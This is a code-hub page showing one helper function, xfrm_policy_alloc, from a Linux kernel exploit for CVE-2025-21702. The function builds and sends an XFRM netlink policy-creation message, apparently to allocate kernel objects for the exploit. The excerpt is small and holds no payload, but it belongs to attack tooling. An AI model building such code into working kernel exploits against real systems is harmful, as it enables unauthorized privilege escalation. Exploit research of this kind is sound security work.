MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / xfrm_policy_alloc

Function xfrm_policy_alloc

CVE-2025-21702/exploit/exploit.c:900–919  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

898}
899
900void xfrm_policy_alloc(
901 struct mnl_socket *xfrm_socket,
902 const struct xfrm_userpolicy_info *xfrm_userpolicy_info,
903 const struct xfrm_mark *xfrm_mark,
904 u32 if_id
905)
906{ // xfrm_add_policy() 可看出用户参数结构: nlmsghdr + xfrm_userpolicy_info + nlattr
907 u32 seq = time(NULL);
908 u8 buf[8192] = {};
909 struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf);
910 nlh->nlmsg_type = XFRM_MSG_NEWPOLICY; // XFRM_MSG_NEWPOLICY
911 nlh->nlmsg_seq = seq;
912 nlh->nlmsg_flags = NLM_F_ACK | NLM_F_REQUEST;
913 struct xfrm_userpolicy_info *p = mnl_nlmsg_put_extra_header(nlh, sizeof(*p)); // xfrm_userpolicy_info - extra header
914 memcpy(p, xfrm_userpolicy_info, sizeof(struct xfrm_userpolicy_info));
915 mnl_attr_put(nlh, XFRMA_MARK, sizeof(struct xfrm_mark), xfrm_mark); // XFRMA_MARK - xfrm_mark
916 mnl_attr_put_u32(nlh, XFRMA_IF_ID, if_id); // XFRMA_IF_ID - if_id
917 Mnl_socket_sendto(xfrm_socket, nlh, nlh->nlmsg_len);
918 validate_mnl_socket_operation_success(xfrm_socket, seq);
919}
920
921void xfrm_policy_free(
922 struct mnl_socket *xfrm_socket,

Callers 1

Calls 2

Mnl_socket_sendtoFunction · 0.85

Tested by

no test coverage detected